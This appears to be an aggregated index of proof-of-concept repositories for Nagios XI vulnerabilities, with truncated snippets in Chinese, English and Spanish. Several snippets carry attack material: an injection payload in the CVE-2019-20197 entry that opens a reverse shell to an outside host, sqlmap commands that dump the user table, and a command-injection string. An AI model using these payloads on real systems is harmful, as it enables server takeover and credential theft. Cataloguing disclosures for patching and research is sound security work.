CVE-2023-47400

CVE-2023-47400 CVE-2023-47400 的概念验证 通过任意文件写入在 Nagios XI 5.11.0 上实现已认证的 PHP 远程代码执行 !Note 此 PoC 基于 NCC 集团发布的技术公告 https://research.nccgroup.com/2023/12/13/technical-advisory-multiple-vulnerabilities-in-nagios-xi/ 此 PoC 遵循以下过程： 上传一个名为 placeholder.jpg 的有效图像（仅包含 JFIF 魔数头部，无内容） 使用自定义包含的 重命名 功能将图像重命名为...

CVE-2024-24401

漏洞报告 CVE 发现者：Jarod Jaslow MAWK （设计用于在 KALI LINUX 上运行） 备注 Nagios 已在所有最近的下载中修补了 2024R1.0.1 版本。要判断目标是否存在漏洞，请确保他们使用的是 2024R1.0.1 的旧版下载。 更新后的脚本会检查目标系统是否存在漏洞 OVA NAGIOS 用户凭据：mawk:mawk 下载：https://1drv.ms/u/s!Aj-SNbxrSxWZh51fp476lHxNHGd6jA?e=AX3mJU 漏洞详情： 端点： /nagiosxi//config/monitoringwizard.php Nagios ...

CVE-2024-24402

漏洞报告 CVE 发现者: Jarod Jaslow MAWK 漏洞详情: 端点: Nagios XI Version 2024R1.01 漏洞类型: 来自用户 "NAGIOS" 的权限提升 利用结果: 在目标系统上获得完整的 root 访问权限 复现步骤: 1. 创建 Nagios XI Version 2024R1.01 的新实例: 从以下地址下载 Nagios XI OVA 文件: https://assets.nagios.com/downloads/nagiosxi/2024/ovf/nagiosxi-2024R1.0.1-64.ova 部署 OVA 以创建新实例。...

Nagios XI 5.5.6-5.7.5 - Authenticated Remote Command Injection

Nagios XI 5.5.6 through 5.7.5 is susceptible to authenticated remote command injection. There is improper sanitization of authenticated user-controlled input by a single HTTP request via the file /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php. This in turn can lead ...

nagios-xi-5.7.5-bugs

nagios-xi-5.7.5-bugs 向 Nagios XI 报告的漏洞 CVE-2021-25296 代码位置 /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php 代码片段 root@kitploit: if !empty$pluginoutputlen $diskwmicommand .= " --forcetruncateoutput " . $pluginoutputlen; $servicewmicommand .= " --forcetruncateoutput "...

CVE-2019-20197

CVE-2019-20197 Remote Command Execution Vulnerability in Nagios XI = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite root@kitploi...

CVE-2024-33775

CVE Discovered by: K. Wahab NeoX Vulnerability Details: Product: Nagios XI Version 2024R1.01 Vulnerability: Privilege Escalation from Users "NAGIOS" or "APACHE" Result: Full root access on the target system CVE: https://vulners.com/cve/CVE-2024-33775 Exploit: RSS Dashlet is used in this example...

Nagios-XI-s-CVE-2023-40931-Exploit

此存储库没有 README。...

Nagios-CVE-2019-15949-RCE

Nagios-CVE-2019-15949-RCE-Poc un PoC en Python para el CVE-2019-15949 Resumen Existe una vulnerabilidad en Nagios XI = 5.6.5 que permite a un atacante aprovechar un RCE para escalar privilegios a root. El exploit requiere acceso al servidor como el usuario 'nagios', o acceso CCM a través de la...

CVE-2023-48084

CVE-2023-48084 针对 CVE-2023-48084 的 Python 漏洞利用程序 - Nagios XI before version 5.11.3 was discovered to contain a SQL injection vulnerability via the bulk modification tool. 该漏洞利用程序通过 /admin/bannermessage-ajaxhelper.php?action=acknowledgebannermessage&id= 执行 SQL 查询，并利用盲 SQL 注入... 用法 克隆仓库并安装...

CVE-2024-24401

漏洞报告 CVE 发现 （设计用于在 Kali Linux 上运行） 说明 Nagios 已在所有近期下载中修补了版本 2024R1.0.1。要判断目标是否存在漏洞，请确保他们使用的是旧版 2024R1.0.1。 更新后的脚本会检查目标系统是否存在漏洞 漏洞详情： 端点：/nagiosxi//config/monitoringwizard.php Nagios XI 版本 2024R1.0.1 漏洞类型：已验证的 SQL 注入 利用结果：创建管理员账户并实现完全远程代码执行 概念验证： 附带了演示该漏洞的 Python 脚本 建议： 为降低 SQL...

CVE-2025-34227_Nagios-XI-Command-Injection-Configuration-Wizard

CVE-2025-34227 Nagios XI 在 Configuration Wizard 中的认证命令注入 CVE-2025-34227 的简单概念验证仓库，这是一个存在于 Nagios XI - Configuration Wizard 中的认证命令注入漏洞。 完整分析文章请见：https://theyhack.me/CVE-2025-34227-Nagios-XI-Wizard-Command-Injection/ curl 概念验证 下面的 payload 位于 database 参数中：;touch /tmp/rceproof;。 完成认证后，将你的 Cookie:...

CVE-2025-61299_POC

CVE-2025-61299POC Nagios XI 2024R1 中的经过身份验证的命令注入 CVE-2025-61299...

nagiosxi-root-rce-exploit

nagiosxi-root-exploit 概述 Nagios XI = 5.6.5 存在一个漏洞，允许攻击者利用 RCE 将权限提升至 root。 该漏洞利用需要以 'nagios' 用户身份访问服务器，或通过 Web 界面获得 CCM 访问权限并具备管理插件的权限。 详细信息 通过下载系统配置文件（profile.php?cmd=download）所调用的 getprofile.sh 脚本，会借助免密码的 sudo 条目以 root 身份执行；该脚本会执行属于 nagios 用户的 'checkplugin' 可执行文件。 登录 Nagios XI 且具备修改插件权限的用户，或服务器...

CVE-2023-40933-PoC

CVE-2023-40933 用于利用 CVE-2023-40933 的 sqlmap 有效载荷 有效载荷 所需信息： 有效的用户名和密码 托管实例的域名和路径 root@kitploit: sqlmap -D nagiosxi -T xiusers -u "https:///nagiosxi/admin/bannermessage-ajaxhelper.php?action=updatebannermessagesettings&id=3&token=curl -ksX POST https:///nagiosxi/api/v1/authenticate -d...

CVE-2023-40931-PoC

CVE-2023-40931 El payload de sqlmap para explotar CVE-2023-40931 Payload Información requerida: Nombre de usuario y contraseña válidos Dominio y ruta de la instancia alojada root@kitploit: sqlmap -D nagiosxi -T xiusers -u...

CVE-2023-48084-Revised

CVE-2023-48084 — 更新版 PoC 仓库： MettHK/CVE-2023-48084-Revised 这是 Hamibubu/CVE-2023-48084 的更新版本， 增加了多线程、二分查找提取，以及用于选择数据库 / 表 / 列的 CLI 参数。 并非原始仓库。 这是一个衍生/改进版 PoC。原始工作的功劳归于 Hamibubu。 免责声明 仅限授权的安全测试和教育用途 。不要将其用于你不拥有或未经明确授权测试的系统。作者和贡献者不对滥用行为负责。 关于该漏洞 CVE-2023-48084：Nagios XI 5.11.3 之前的版本在批量修改工具中存在 SQL...

CVE-2019-20197

Nagios XI Remote Command Execution Vulnerability CVE-2019-20197 POC: POST /nagiosxi/includes/components/scheduledreporting/schedulereport.php HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64; rv:49.0 Gecko/20100101 Firefox/49.0 Accept:...

CVE-2026-48549

Nagios Core before 4.5.13 and Nagios XI before 2026R1.5 contains a CSRF vulnerability in cmd.cgi. When no Cookie header is present, the double-submit cookie protection can be bypassed by supplying matching NagFormId and nagFormId values in the POST body, allowing a cross-site request to execute...

UBUNTU-CVE-2026-48549

Nagios Core before 4.5.13 and Nagios XI before 2026R1.5 contains a CSRF vulnerability in cmd.cgi. When no Cookie header is present, the double-submit cookie protection can be bypassed by supplying matching NagFormId and nagFormId values in the POST body, allowing a cross-site request to execute...